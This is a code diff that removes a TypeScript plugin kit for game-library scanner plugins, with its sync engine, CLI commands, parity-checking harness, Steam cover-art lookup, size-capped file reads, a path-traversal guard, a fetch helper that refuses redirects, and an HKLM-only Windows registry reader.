* an entry that opens a launcher but still lists as an ordinary game.
*/
readonly launchers?: (cfg: S["Type"]) => ReadonlyArray<ProviderEntry>;
/** Launcher data dirs to watch, so a newly installed game appears without waiting for a poll. */
readonly watchDirs?: (cfg: S["Type"]) => ReadonlyArray<string>;
/** How often to re-scan regardless of watches. Default `Duration.minutes(15)`. */
readonly pollInterval?: Duration.Duration;
/** Debounce on filesystem events. Default `Duration.seconds(3)`. */
readonly debounce?: Duration.Duration;
/** Display title (the console's sources row falls back to the scanner label). Defaults to `name`. */
readonly title?: string;
/** Extra CLI verbs beyond the standard `detect` / `scan` / `uninstall` set. */
readonly commands?: Record<string, CliCommand<never>>;
}
/** `--flag value` from an argv slice, or undefined. */
const flagValue = (
argv: ReadonlyArray<string>,
flag: string,
): string | undefined => {
const i = argv.indexOf(flag);
return i >= 0 && i + 1 < argv.length ? argv[i + 1] : undefined;
};
/** The pieces a library plugin package wires into its entry points. */
export interface LibraryPlugin {
/** The runner-discovered default export (`export default plugin.def`). */
readonly def: PluginDef;
/** The CLI entry (`await plugin.cli()` from the package's bin). */
readonly cli: (argv?: ReadonlyArray<string>) => Promise<void>;
}
export const defineLibraryPlugin = <S extends Schema.Top>(
def: LibraryPluginDef<S>,
): LibraryPlugin => {
const store = def.store === null ? undefined : (def.store ?? def.name);
const poll = def.pollInterval ?? Duration.minutes(15);
const debounce = def.debounce ?? Duration.seconds(3);
/** The config service, built fresh wherever it is needed (it only requires `PluginInfo`). */
const config: Effect.Effect<ConfigService<S>, never, PluginInfo> =
makeConfigService({ schema: def.configSchema });
/** Scan + launcher entries, in the order they should reach the host. */
const computeEntries = (
cfg: S["Type"],
): Effect.Effect<{
readonly entries: ReadonlyArray<ProviderEntry>;
readonly report: ScanReport;
}> =>
Effect.gen(function* () {
const present = yield* def.detect(cfg);
// A launcher that isn't installed contributes NOTHING — not even its launcher entries. A
// "Steam Big Picture" tile on a box without Steam would only fail to launch.
if (!present) {
return {
entries: [] as ReadonlyArray<ProviderEntry>,
report: { entries: 0, launchers: 0, present: false } as const,
};
}
const scanned = yield* def.scan(cfg);
const launchers = def.launchers?.(cfg) ?? [];
return {
entries: [...scanned, ...launchers],
report: {
entries: scanned.length,
launchers: launchers.length,
present: true,
} as const,
};
});
/**
* Push one entry set to the host under the store claim, warning **once** if the host is too old
* to honour it.
*
* This degradation is worth the code: a pre-M2 host ignores `?store=` silently, and the only
* symptom would be this plugin's titles appearing as unbadged `custom:` entries *beside* the
* built-in scanner's identical ones a confusing double-listing with no error anywhere.
* Checking the echoed entries turns that into one actionable log line.
*/
const applyEntries =
(provider: ProviderClientService, state: { warned: boolean }) =>
(entries: ReadonlyArray<ProviderEntry>): Effect.Effect<void, unknown> =>
provider.reconcile(def.name, entries, store).pipe(
Effect.tap((echoed) => {
if (!store || state.warned || echoed.length === 0) return Effect.void;
if (echoed.some((e) => e.store === store)) return Effect.void;
state.warned = true;
return Effect.logWarning(
`host is too old for store claims: this source's games will appear as custom ` +
`entries and the host's own "${store}" scanner is not suppressed, so titles ` +
`may be listed twice. Updating the host resolves it.`,
);
}),
Effect.asVoid,
);
const main = Effect.gen(function* () {
const cfgService = yield* config;
const provider = yield* ProviderClient;
const state = { warned: false };
const engine = yield* makeSyncEngine<
ScanReport,
ReadonlyArray<ProviderEntry>,
never
>({
compute: () => cfgService.load.pipe(Effect.flatMap(computeEntries)),
apply: applyEntries(provider, state),
// The host IS the state: a full-replace reconcile is idempotent, so there is nothing to
// persist between runs. Reporting no previous fingerprint means the first sync after a
// restart always pushes, which is exactly what we want (the host may have been reinstalled
// underneath us).
lastSync: { get: Effect.succeed(undefined), set: () => Effect.void },
settings: cfgService.load.pipe(
Effect.map((cfg) => def.watchDirs?.(cfg) ?? []),
// A config file that won't decode must not stop the poll loop: fall back to no watch
// dirs, keep syncing on the timer, and let the operator see the parse error in the
// settings drawer (`GET /__config` reports it).
Effect.catch(() => Effect.succeed([] as ReadonlyArray<string>)),
Effect.map((watchDirs) => ({
pollInterval: poll,
watch: true,
debounce,
watchDirs,
})),
),
});
// The UI server exists ONLY to serve `__config` (and the SDK's `__health`): no `staticDir`,
// no API. That is the whole "settings without an SPA" story (design D7, closing G8), and the
// `library` category is what keeps six installed scanners out of the console's sidebar.
yield* serveUi({
title: def.title ?? def.name,
category: "library",
config: { schema: def.configSchema, service: cfgService },
});
yield* engine.start;
// A saved settings change is exactly when a user expects the library to update — and it may
// have changed `watchDirs`, so re-read settings rather than just re-syncing.
yield* Effect.forkScoped(
Stream.runForEach(cfgService.changes, () => engine.reconfigure),
);
yield* Effect.never;
});
const kitDef: PluginKitDef<never, ProviderClient> = {
name: def.name,
...(def.version !== undefined ? { version: def.version } : {}),
layer: ProviderClient.layer,
main: main as Effect.Effect<
void,
never,
ProviderClient | HostClient | PluginInfo | never
>,
};
const standardCommands: Record<string, CliCommand<ProviderClient>> = {
detect: {
summary: "report whether this launcher is installed on the host",
// Offline on purpose: "is Steam here?" must be answerable without a running host.
offline: true,
run: () =>
Effect.gen(function* () {
const cfg = yield* (yield* config).load;
console.log((yield* def.detect(cfg)) ? "present" : "absent");
}),
},
scan: {
summary: "scan and print what WOULD be synced (--preview for the JSON entries)",
// Also offline: the point is to debug a scanner against real launcher files without
// touching the host's library.
offline: true,
run: (argv) =>
Effect.gen(function* () {
const cfg = yield* (yield* config).load;
const { entries, report } = yield* computeEntries(cfg);
if (argv.includes("--preview")) {
console.log(JSON.stringify(entries, null, 2));
} else {
console.log(
`${report.present ? "present" : "absent"}: ${report.entries} games, ` +
`${report.launchers} launcher entries`,
);
}
}),
},
parity: {
summary:
"prove this plugin reproduces the built-in scanner (--snapshot <f> | --compare <f>)",
// `--compare` is offline (it runs THIS plugin's scan); `--snapshot` needs the host. The
// dispatcher decides per invocation below, so the verb is registered as online and the
// snapshot path is the one that actually uses the client.
run: (argv) =>
Effect.gen(function* () {
const snapshot = flagValue(argv, "--snapshot");
const compare = flagValue(argv, "--compare");
if (!snapshot && !compare) {
console.error(
"usage: parity --snapshot <file> (capture the host's CURRENT library for this store)\n" +
" parity --compare <file> (diff this plugin's scan against that capture)",
);
process.exitCode = 2;
return;
}
if (snapshot) {
// The baseline: what the host reports for THIS store while its built-in scanner
// is still the thing producing it. Capture before installing the plugin.
const host = yield* HostClient;
const body = yield* host.request("GET", "/library");
const mine = (Array.isArray(body) ? (body as HostGameEntry[]) : [])
.filter((e) => e.store === (store ?? def.name))
.map(fromHostEntry)
.sort((a, b) => a.id.localeCompare(b.id));
yield* Effect.sync(() =>
fs.writeFileSync(snapshot, `${JSON.stringify(mine, null, 2)}\n`),
);
console.log(
`captured ${mine.length} "${store ?? def.name}" entries to ${snapshot}`,
);
return;
}
const baseline = yield* Effect.try({
try: () =>
JSON.parse(fs.readFileSync(compare as string, "utf8")) as ReturnType<
typeof fromHostEntry
>[],
catch: (cause) => new Error(`cannot read ${compare}: ${cause}`),
});
const cfg = yield* (yield* config).load;
const { entries } = yield* computeEntries(cfg);
const produced = entries.map((e) =>
fromProviderEntry(store ?? def.name, e),
);
const report = diffParity(baseline, produced);
console.log(formatParityReport(report));
// A non-zero exit is what makes this usable as a release gate rather than a report
// somebody skims.
if (!report.ok) process.exitCode = 1;
}),
},
uninstall: {
summary: "remove this source's games from the host and release its store claim",
run: () =>
Effect.gen(function* () {
const provider = yield* ProviderClient;
// The empty reconcile clears the entries; DELETE is what releases the CLAIM — and
// releasing is what brings the host's own built-in scanner straight back.
yield* provider.reconcile(def.name, [], undefined);
yield* provider.remove(def.name);
console.log(`${def.name}: entries removed, store claim released`);
}),
},
};
return {
def: definePluginKit(kitDef),
cli: (argv) =>
runPluginCli({
def: kitDef,
commands: {
...standardCommands,
...(def.commands ?? {}),
} as Record<string, CliCommand<ProviderClient>>,
...(argv !== undefined ? { argv } : {}),
}),
};
};
-23
View File
@@ -1,23 +0,0 @@
// `@punktfunk/plugin-kit/library` — the shared framework for library-scanner plugins.
//
// A first-party scanner is its parsers plus a scan function; everything else (store claim, sync
// engine wiring, launcher entries, `__config`, nav category, CLI verbs) comes from
// `defineLibraryPlugin`. See design/library-scanner-plugins.md D10.
export {
defineLibraryPlugin,
type LibraryPlugin,
type LibraryPluginDef,
type ScanReport,
} from "./define.js";
export {
claimedLibraryId,
diffParity,
formatParityReport,
fromHostEntry,
fromProviderEntry,
type HostGameEntry,
type ParityChange,
type ParityEntry,
type ParityReport,
} from "./parity.js";
export * from "./parsers/index.js";
-249
View File
@@ -1,249 +0,0 @@
// The parity harness: proof that a library plugin reproduces the in-host scanner it replaces.
//
// This is the acceptance gate for every extracted scanner (design M5). Ported unit tests are
// necessary but nowhere near sufficient — they pin the PARSERS, while what actually has to hold is
// that the whole pipeline lands the same entries, with the same ids, launch recipes and detect
// signals, on a real box with a real launcher installed. A plugin that parses perfectly and emits
// `steam:440` as `steam:440.0` breaks every Moonlight pin on the host and no parser test notices.
//
// It lives in the KIT, not in a plugin, because it is identical for all six: capture what the host
// reports while its built-in scanner is doing the work, then check the plugin produces the same set.
// (One plugin per repo is the house pattern, so anything shared has to be published, not adjacent.)
//
// Usage, per plugin, on a box with that launcher installed:
//
// punktfunk-plugin-steam parity --snapshot before.json # host still on its built-in scanner
// punktfunk-plugin-steam parity --compare before.json # offline: runs THIS plugin's scan
//
// `--compare` runs the plugin's own scan directly rather than installing it first, so a mismatch is
// visible before anything is published — and the run is repeatable while you fix it.
import type { ProviderEntry } from "../wire.js";
/** The four art slots, in the order the host's box-art ladder tries them. */
const ART_KINDS = ["portrait", "hero", "logo", "header"] as const;
type ArtKind = (typeof ART_KINDS)[number];
/** One entry, reduced to the facts parity is about. */
export interface ParityEntry {
/** The store-qualified library id — the field everything downstream is keyed on. */
readonly id: string;
readonly title: string;
/** `<kind>:<value>`, or null when the entry has no launch recipe. */
readonly launch: string | null;
/** `"game"` or `"launcher"`. */
readonly role: string;
/**
* Which art kinds are PRESENT, not their values. The representation legitimately changes on
* extraction (a scanner's `data:` URL or host-relative proxy path becomes a `file://` path or a
* CDN URL), so comparing values would fail every time for no reason. Presence is the invariant
* that matters: a title that had a poster must still have one.
*/
readonly art: Readonly<Record<ArtKind, boolean>>;
/** Flat descriptive metadata (platform, genres, …) — compared verbatim. */
readonly meta: Readonly<Record<string, unknown>>;
}
/** What the host reports for one entry in `GET /library`. */
export interface HostGameEntry {
id: string;
store: string;
title: string;
role?: string;
launch?: { kind: string; value: string } | null;
art?: Partial<Record<ArtKind, string | null>>;
[extra: string]: unknown;
}
/** Keys on a host entry that are structure, not descriptive metadata. */
const NON_META = new Set([
"id",
"store",
"title",
"role",
"launch",
"art",
"provider",
"external_id",
"prep",
"detect",
]);
const artPresence = (
art: Partial<Record<ArtKind, string | null>> | undefined,
): Record<ArtKind, boolean> => {
const out = {} as Record<ArtKind, boolean>;
for (const k of ART_KINDS) out[k] = Boolean(art?.[k]);
return out;
};
const pickMeta = (src: Record<string, unknown>): Record<string, unknown> => {
const out: Record<string, unknown> = {};
for (const [k, v] of Object.entries(src)) {
// Absent and empty are the same thing here: the host omits empty lists and null fields, and a
// plugin that sends `genres: []` has not changed anything.
if (NON_META.has(k) || v == null) continue;
if (Array.isArray(v) && v.length === 0) continue;
out[k] = v;
}
return out;
};
/** The library id the host assigns a claimed entry — the deterministic `<store>:<external_id>`. */
export const claimedLibraryId = (store: string, externalId: string): string =>
`${store}:${externalId}`;
/** Reduce what the host reported (the BEFORE side) to a comparable entry. */
export const fromHostEntry = (e: HostGameEntry): ParityEntry => ({
id: e.id,
title: e.title,
launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null,
role: e.role ?? "game",
art: artPresence(e.art),
meta: pickMeta(e as Record<string, unknown>),
});
/** Reduce what this plugin produced (the AFTER side) to a comparable entry. */
export const fromProviderEntry = (
store: string,
e: ProviderEntry,
): ParityEntry => {
const rec = e as unknown as Record<string, unknown>;
return {
id: claimedLibraryId(store, e.external_id),
title: e.title,
launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null,
role: (e as { role?: string }).role ?? "game",
art: artPresence(
e.art as Partial<Record<ArtKind, string | null>> | undefined,
),
meta: pickMeta(rec),
};
};
/** One field that differs between the two sides. */
export interface ParityChange {
readonly id: string;
readonly field: string;
readonly before: unknown;
readonly after: unknown;
}
export interface ParityReport {
/** In the baseline, absent from what the plugin produced — the plugin LOST a title. */
readonly missing: ParityEntry[];
/** Produced by the plugin, absent from the baseline — the plugin invented a title. */
readonly extra: ParityEntry[];
/** Same id, different facts. */
readonly changed: ParityChange[];
/** Entries present on both sides and identical. */
readonly matched: number;
/**
* Launcher entries the plugin adds (design D4). Never a failure: the built-in scanner had no
* concept of them, so they are expected to be `extra` and are reported separately so a real
* regression isn't buried under them.
*/
readonly launchersAdded: ParityEntry[];
readonly ok: boolean;
}
/**
* Diff a baseline (what the host reported while its built-in scanner ran) against what this plugin
* produced. `ok` is true only when nothing is missing, nothing unexpected is extra, and no compared
* field changed.
*/
export const diffParity = (
baseline: ReadonlyArray<ParityEntry>,
produced: ReadonlyArray<ParityEntry>,
): ParityReport => {
const byId = new Map(baseline.map((e) => [e.id, e]));
const producedIds = new Set(produced.map((e) => e.id));
const changed: ParityChange[] = [];
const extra: ParityEntry[] = [];
const launchersAdded: ParityEntry[] = [];
let matched = 0;
for (const after of produced) {
const before = byId.get(after.id);
if (!before) {
// A launcher entry has no counterpart by construction — the scanner never emitted one.
(after.role === "launcher" ? launchersAdded : extra).push(after);
continue;
}
const diffs = compareEntry(before, after);
if (diffs.length === 0) matched++;
else changed.push(...diffs);
}
const missing = baseline.filter((e) => !producedIds.has(e.id));
return {
missing,
extra,
changed,
matched,
launchersAdded,
ok: missing.length === 0 && extra.length === 0 && changed.length === 0,
};
};
const compareEntry = (
before: ParityEntry,
after: ParityEntry,
): ParityChange[] => {
const out: ParityChange[] = [];
const note = (field: string, b: unknown, a: unknown) =>
out.push({ id: before.id, field, before: b, after: a });
if (before.title !== after.title) note("title", before.title, after.title);
if (before.launch !== after.launch)
note("launch", before.launch, after.launch);
if (before.role !== after.role) note("role", before.role, after.role);
for (const k of ART_KINDS) {
// Only a LOST art kind is a regression. Gaining one is an improvement (the plugin can reach
// art the host never resolved), and failing a run over it would just train people to ignore
// the harness.
if (before.art[k] && !after.art[k]) note(`art.${k}`, true, false);
}
const keys = new Set([
...Object.keys(before.meta),
...Object.keys(after.meta),
]);
for (const k of keys) {
const b = before.meta[k];
const a = after.meta[k];
if (JSON.stringify(b) !== JSON.stringify(a)) note(`meta.${k}`, b, a);
}
return out;
};
/** Render a report for a terminal. Empty-ish when everything matched. */
export const formatParityReport = (r: ParityReport): string => {
const lines: string[] = [];
lines.push(
r.ok
? `parity OK — ${r.matched} entries identical`
: `parity FAILED — ${r.matched} identical, ${r.missing.length} missing, ${r.extra.length} unexpected, ${r.changed.length} changed`,
);
for (const e of r.missing) lines.push(` missing: ${e.id} ${e.title}`);
for (const e of r.extra) lines.push(` extra: ${e.id} ${e.title}`);
for (const c of r.changed) {
lines.push(
` changed: ${c.id} ${c.field}: ${JSON.stringify(c.before)} -> ${JSON.stringify(c.after)}`,
);
}
if (r.launchersAdded.length > 0) {
lines.push(
` (+${r.launchersAdded.length} launcher ${r.launchersAdded.length === 1 ? "entry" : "entries"}, expected: ${r.launchersAdded
.map((e) => e.id)
.join(", ")})`,
);
}
// Art REPRESENTATION always changes on extraction (a host-relative proxy path or an inlined
// `data:` URL becomes a `file://` path or a CDN URL). Presence is what this harness checks, so
// say plainly that the bytes still want a human's eyes once.
if (r.ok) {
lines.push(
" note: art is compared by presence, not value — spot-check a few covers render.",
);
}
return lines.join("\n");
};
-120
View File
@@ -1,120 +0,0 @@
// Where a title's cover art lives: Steam's local caches, its per-account `grid/` overrides, and the
// public CDN. Ported from the host scanner's art resolution (steam.rs).
//
// After extraction a plugin emits art VALUES and the host serves them: a `file://` URL for anything
// on disk (the documented local-art contract — the host proxies the bytes), or an absolute CDN URL
// the client fetches itself. `data:` URLs remain legal but are small-logo-only: inlining covers is
// what blew the host's 2 MB body limit at 49 titles during the playnite work.
import * as path from "node:path";
import { isFile, listDir } from "./fs.js";
/** The four art slots the library model carries. */
export type ArtKind = "portrait" | "hero" | "logo" | "header";
export const ART_KINDS: readonly ArtKind[] = [
"portrait",
"hero",
"logo",
"header",
];
/** A `file://` URL for a local path — the shape the host's art proxy understands. */
export const fileUrl = (p: string): string => {
// Percent-encode, but keep the separators: the host converts this back to a path and expects the
// structure intact. Windows drive paths become `file:///C:/…`.
const abs = path.resolve(p);
const posix = abs.replace(/\\/g, "/");
const encoded = posix
.split("/")
.map((seg) => encodeURIComponent(seg))
.join("/");
return posix.startsWith("/") ? `file://${encoded}` : `file:///${encoded}`;
};
/**
* The legacy flat CDN URL for a Steam appid's art kind. Correct for the many titles Valve hasn't
* re-hashed; newer ones serve from an unpredictable per-asset-hash path, where this 404s and the
* client falls through to its next candidate. That degradation is intentional and pre-existing.
*/
export const steamCdnUrl = (appid: number, kind: ArtKind): string | undefined => {
// A non-Steam shortcut's appid has the high bit set and is never a real store appid — the CDN
// would only 404, so don't emit a URL that is guaranteed to fail.
if ((appid & 0x8000_0000) !== 0) return undefined;
const file =
kind === "portrait"
? "library_600x900.jpg"
: kind === "hero"
? "library_hero.jpg"
: kind === "logo"
? "logo.png"
: "header.jpg";
return `https://cdn.cloudflare.steamstatic.com/steam/apps/${appid}/${file}`;
};
/** Filenames Steam's local `librarycache` uses per kind, in preference order (2x is sharper). */
const localFilenames = (kind: ArtKind): string[] =>
kind === "portrait"
? ["library_600x900_2x.jpg", "library_600x900.jpg"]
: kind === "hero"
? ["library_hero.jpg"]
: kind === "logo"
? ["logo.png"]
: // Steam's local cache names the header asset differently from the store CDN's
// `header.jpg` — this trips everyone once.
["library_header.jpg"];
/**
* This kind's file under one Steam root's `appcache/librarycache/<appid>/<hash>/`, or `undefined`.
* Steam reuses one hash dir per asset version, so there is normally exactly one candidate.
*/
export const findLocalArtFile = (
root: string,
appid: number,
kind: ArtKind,
): string | undefined => {
const base = path.join(root, "appcache", "librarycache", String(appid));
for (const hash of listDir(base)) {
for (const name of localFilenames(kind)) {
const p = path.join(base, hash, name);
if (isFile(p)) return p;
}
}
// Older Steam wrote the files directly under `librarycache/` with the appid in the name.
for (const name of localFilenames(kind)) {
const flat = path.join(root, "appcache", "librarycache", `${appid}_${name}`);
if (isFile(flat)) return flat;
}
return undefined;
};
/**
* The `grid/` basenames Steam names each art kind under for an appid: portrait `<A>p`, hero
* `<A>_hero`, logo `<A>_logo`, wide capsule `<A>` each as `.png` then `.jpg`.
*
* These overrides are the **only** art a non-Steam shortcut ever has.
*/
export const gridFilenames = (appid: number, kind: ArtKind): string[] => {
const base =
kind === "portrait"
? `${appid}p`
: kind === "hero"
? `${appid}_hero`
: kind === "logo"
? `${appid}_logo`
: `${appid}`;
return [`${base}.png`, `${base}.jpg`];
};
/** This kind's user override under a `userdata/<id>/config/grid/` dir, or `undefined`. */
export const findGridArtFile = (
configDir: string,
appid: number,
kind: ArtKind,
): string | undefined => {
const grid = path.join(configDir, "grid");
for (const name of gridFilenames(appid, kind)) {
const p = path.join(grid, name);
if (isFile(p)) return p;
}
return undefined;
};
-112
View File
@@ -1,112 +0,0 @@
// Bounded filesystem reads and path confinement — the posture the in-host scanners established,
// ported so a library plugin inherits it instead of re-deriving it.
//
// The rules here exist because a plugin reads files it does not own: a launcher's manifests, a
// catalog cache, a `goggame-*.info` a user could have edited. None of that is hostile in the normal
// case, and all of it is untrusted in the case that matters.
import * as fs from "node:fs";
import * as path from "node:path";
/** A launcher manifest / `.acf` / `.info`: text, small. Matches `epic.rs`'s posture. */
export const MAX_MANIFEST_BYTES = 1024 * 1024;
/** A binary catalog cache (Epic's `catcache.bin`, a `shortcuts.vdf`): larger, still bounded. */
export const MAX_CACHE_BYTES = 32 * 1024 * 1024;
/**
* Read a file as UTF-8, refusing anything over `max`. `undefined` on any error, a non-regular file,
* or an over-cap file a plugin scanning a directory must never die on one odd entry.
*
* The size is checked by `stat` BEFORE the read, so an enormous file costs a stat, not the memory.
*/
export const readTextCapped = (
file: string,
max = MAX_MANIFEST_BYTES,
): string | undefined => {
try {
const st = fs.statSync(file);
if (!st.isFile() || st.size === 0 || st.size > max) return undefined;
return fs.readFileSync(file, "utf8");
} catch {
return undefined;
}
};
/** Read a file as bytes, refusing anything over `max`. Same posture as {@link readTextCapped}. */
export const readBytesCapped = (
file: string,
max = MAX_CACHE_BYTES,
): Uint8Array | undefined => {
try {
const st = fs.statSync(file);
if (!st.isFile() || st.size === 0 || st.size > max) return undefined;
return new Uint8Array(fs.readFileSync(file));
} catch {
return undefined;
}
};
/** Read + `JSON.parse` a capped text file. `undefined` on any read or parse failure. */
export const readJsonCapped = <T = unknown>(
file: string,
max = MAX_MANIFEST_BYTES,
): T | undefined => {
const text = readTextCapped(file, max);
if (text === undefined) return undefined;
try {
return JSON.parse(text) as T;
} catch {
return undefined;
}
};
/** List a directory's entry names, or `[]` if it isn't readable. */
export const listDir = (dir: string): string[] => {
try {
return fs.readdirSync(dir);
} catch {
return [];
}
};
/** Does this path exist as a directory? */
export const isDir = (p: string): boolean => {
try {
return fs.statSync(p).isDirectory();
} catch {
return false;
}
};
/** Does this path exist as a regular, non-empty file? */
export const isFile = (p: string): boolean => {
try {
const st = fs.statSync(p);
return st.isFile() && st.size > 0;
} catch {
return false;
}
};
/**
* Join `rel` onto `base` **only if it cannot escape** the port of the host's `confined_join`
* (gog.rs), which exists because a crafted `goggame-<id>.info` could otherwise point a play task's
* exe at an arbitrary program (security-review 2026-07-17).
*
* Refuses any relative path carrying a drive prefix (`C:`), a root (`/` or `\`), or a `..`
* component each of which `path.join` would let REPLACE or climb out of `base`. `undefined`
* out of bounds, and the caller must refuse the launch rather than fall back to something plausible.
*/
export const confinedJoin = (base: string, rel: string): string | undefined => {
if (rel === "") return undefined;
// Normalize separators so a Windows-shaped relative path is checked on any platform (a plugin
// may parse a Windows manifest while its tests run on Linux).
const parts = rel.split(/[\\/]/);
if (parts[0] === "" ) return undefined; // rooted
if (/^[A-Za-z]:$/.test(parts[0])) return undefined; // drive prefix
if (parts.some((p) => p === "..")) return undefined; // traversal
const joined = path.join(base, ...parts.filter((p) => p !== "" && p !== "."));
// Belt and braces: the component check above is the real guard, but a symlink-free string check
// costs nothing and catches anything the split missed.
const rootWithSep = base.endsWith(path.sep) ? base : base + path.sep;
return joined === base || joined.startsWith(rootWithSep) ? joined : undefined;
};
-94
View File
@@ -1,94 +0,0 @@
// The one outbound-HTTP helper a library plugin should use, carrying the host's `fetch_image`
// posture verbatim (art.rs): http(s) only, **no redirects**, a size cap, and a short timeout.
//
// The no-redirect rule is the important one and it is not paranoia: a scanner fetches URLs it read
// out of a launcher's cache — data the plugin did not author. A `3xx` chased automatically is an
// SSRF pivot from a process running on the operator's box (`http://169.254.169.254/…`, an internal
// service). The host learned this in the 2026-07-17 security review; a plugin fetching the same
// class of URL inherits the same rule. A rare legitimately-redirecting CDN just yields no art.
import { HostRequestError } from "../../errors.js";
import { Effect } from "effect";
export interface FetchLimits {
/** Hard cap on the response body. Default 8 MiB — a cover never approaches it. */
readonly maxBytes?: number;
/** Wall-clock timeout in ms. Default 10 000. */
readonly timeoutMs?: number;
}
const DEFAULT_MAX = 8 * 1024 * 1024;
const DEFAULT_TIMEOUT = 10_000;
export interface FetchedBytes {
readonly bytes: Uint8Array;
readonly contentType: string;
}
/**
* GET an `http(s)` URL under the posture above. Fails with {@link HostRequestError} on any non-2xx,
* a redirect, an over-cap body, a timeout, or a non-http(s) scheme.
*
* Most scanners never need this: they emit CDN URLs and let the CLIENT fetch them, which is both
* faster and keeps the host out of the loop. Reach for it only when a store's art requires an API
* lookup the client cannot do (GOG's product API, Microsoft's display catalog).
*/
export const fetchBytes = (
url: string,
limits: FetchLimits = {},
): Effect.Effect<FetchedBytes, HostRequestError> =>
Effect.tryPromise({
try: async (): Promise<FetchedBytes> => {
if (!/^https?:\/\//i.test(url)) {
throw new Error("only http(s) URLs may be fetched");
}
const maxBytes = limits.maxBytes ?? DEFAULT_MAX;
const signal = AbortSignal.timeout(limits.timeoutMs ?? DEFAULT_TIMEOUT);
// `redirect: "manual"` rather than "error": we want to SEE the 3xx and report it as a
// refusal, not have fetch throw something opaque.
const res = await fetch(url, { redirect: "manual", signal });
if (res.status >= 300 && res.status < 400) {
throw new Error(`refusing to follow a ${res.status} redirect`);
}
if (!res.ok) throw new Error(`HTTP ${res.status}`);
// Trust Content-Length when it is there (cheap rejection), but still bound the read: a
// hostile server can lie about it or omit it entirely.
const declared = Number(res.headers.get("content-length"));
if (Number.isFinite(declared) && declared > maxBytes) {
throw new Error(`body larger than ${maxBytes} bytes`);
}
const buf = new Uint8Array(await res.arrayBuffer());
if (buf.byteLength === 0) throw new Error("empty body");
if (buf.byteLength > maxBytes) {
throw new Error(`body larger than ${maxBytes} bytes`);
}
return {
bytes: buf,
contentType: res.headers.get("content-type") ?? "image/jpeg",
};
},
catch: (cause) =>
new HostRequestError({
method: "GET",
path: url,
cause,
}),
});
/** {@link fetchBytes}, JSON-decoded. Same posture; use for a store's public product API. */
export const fetchJson = <T = unknown>(
url: string,
limits: FetchLimits = {},
): Effect.Effect<T, HostRequestError> =>
fetchBytes(url, limits).pipe(
Effect.flatMap((r) =>
Effect.try({
try: () => JSON.parse(new TextDecoder().decode(r.bytes)) as T,
catch: (cause) =>
new HostRequestError({
method: "GET",
path: url,
cause,
}),
}),
),
);
-61
View File
@@ -1,61 +0,0 @@
// The launcher-file parsing toolkit: what the six in-host scanners hand-rolled, hoisted so a
// library plugin is its scan function and nothing else.
//
// Everything here is total — a missing launcher, a truncated file, a schema drift in a launcher
// upgrade all degrade to "no titles from this source", never to a thrown error. A scanner that dies
// on one odd file takes the user's whole library with it.
export {
ART_KINDS,
type ArtKind,
fileUrl,
findGridArtFile,
findLocalArtFile,
gridFilenames,
steamCdnUrl,
} from "./art.js";
export {
confinedJoin,
isDir,
isFile,
listDir,
MAX_CACHE_BYTES,
MAX_MANIFEST_BYTES,
readBytesCapped,
readJsonCapped,
readTextCapped,
} from "./fs.js";
export {
type FetchedBytes,
type FetchLimits,
fetchBytes,
fetchJson,
} from "./http.js";
export {
parseRegQuery,
regQueryValue,
regQueryValues,
regSubKeys,
type RegValue,
validRegKey,
} from "./registry.js";
export { openReadOnly, type ReadOnlyDb, withReadOnlyDb } from "./sqlite.js";
export {
crc32,
parseShortcuts,
type Shortcut,
shortcutAppId,
shortcutGameId,
} from "./shortcuts.js";
export {
steamLibraryDirs,
steamRoots,
steamUserConfigDirs,
} from "./steam-root.js";
export {
type AppManifest,
isSteamTool,
parseAppManifest,
vdfField,
vdfPaths,
vdfValue,
} from "./vdf.js";
@@ -1,94 +0,0 @@
// Windows registry reads by spawning `reg.exe query` — dependency-free, and (the part that
// matters) it works from the scripting runner's LocalService account.
//
// **HKLM only, by design.** The runner runs as `NT AUTHORITY\LocalService` on Windows, which has no
// user profile: HKCU is not the operator's hive there, it is LocalService's own — so a plugin that
// read HKCU would silently see an empty registry rather than the user's launcher config. Every
// launcher fact a scanner needs (Steam's InstallPath, GOG's game list) lives under HKLM
// `WOW6432Node` anyway. Asking for HKCU is a bug, so this refuses it outright.
import { spawnSync } from "node:child_process";
/** One `reg.exe query` value row. */
export interface RegValue {
readonly name: string;
/** `REG_SZ`, `REG_DWORD`, … */
readonly type: string;
readonly data: string;
}
const HKLM = "HKLM\\";
/** Is this a key path this module will touch? See the module docs on why HKLM only. */
export const validRegKey = (key: string): boolean =>
key.startsWith(HKLM) &&
key.length > HKLM.length &&
key.length <= 260 &&
!key.includes("..") &&
// `reg.exe` takes the key as one argv element (no shell), but keep the charset tame anyway so a
// malformed key can never turn into a switch.
!key.startsWith("/") &&
!/[\r\n\0"]/.test(key);
const run = (args: string[]): string | undefined => {
if (process.platform !== "win32") return undefined;
const r = spawnSync("reg.exe", args, {
encoding: "utf8",
windowsHide: true,
// A registry read is instant; a hang means something is badly wrong and a scan must not
// block on it forever.
timeout: 10_000,
maxBuffer: 4 * 1024 * 1024,
});
if (r.status !== 0 || typeof r.stdout !== "string") return undefined;
return r.stdout;
};
/**
* The values directly under one HKLM key. `[]` when the key is absent, unreadable, or this is not
* Windows a missing launcher is the normal case, never an error.
*/
export const regQueryValues = (key: string): RegValue[] => {
if (!validRegKey(key)) return [];
const out = run(["query", key]);
if (out === undefined) return [];
return parseRegQuery(out);
};
/** One named value under an HKLM key, or `undefined`. */
export const regQueryValue = (key: string, name: string): string | undefined =>
regQueryValues(key).find((v) => v.name.toLowerCase() === name.toLowerCase())
?.data;
/** The immediate SUBKEY paths under one HKLM key (GOG lists one subkey per installed game). */
export const regSubKeys = (key: string): string[] => {
if (!validRegKey(key)) return [];
const out = run(["query", key]);
if (out === undefined) return [];
const prefix = `${key.toLowerCase()}\\`;
return out
.split(/\r?\n/)
.map((l) => l.trim())
.filter((l) => l.toLowerCase().startsWith(prefix))
.filter((l) => !l.slice(key.length + 1).includes("\\"));
};
/**
* Parse `reg.exe query` output rows: ` <name> <TYPE> <data>`, separated by runs of
* whitespace. Data may itself contain spaces (a path), so only the first two columns are split off.
*
* Exported for tests the format is stable but this is exactly the kind of thing that quietly
* breaks, and a plugin's tests can pin it without a Windows box.
*/
export const parseRegQuery = (stdout: string): RegValue[] => {
const out: RegValue[] = [];
for (const raw of stdout.split(/\r?\n/)) {
// Value rows are indented; the key path header is not.
if (!/^\s/.test(raw)) continue;
const line = raw.trim();
if (line === "") continue;
const m = line.match(/^(.*?)\s{2,}(REG_[A-Z_]+)\s{2,}([\s\S]*)$/);
if (!m) continue;
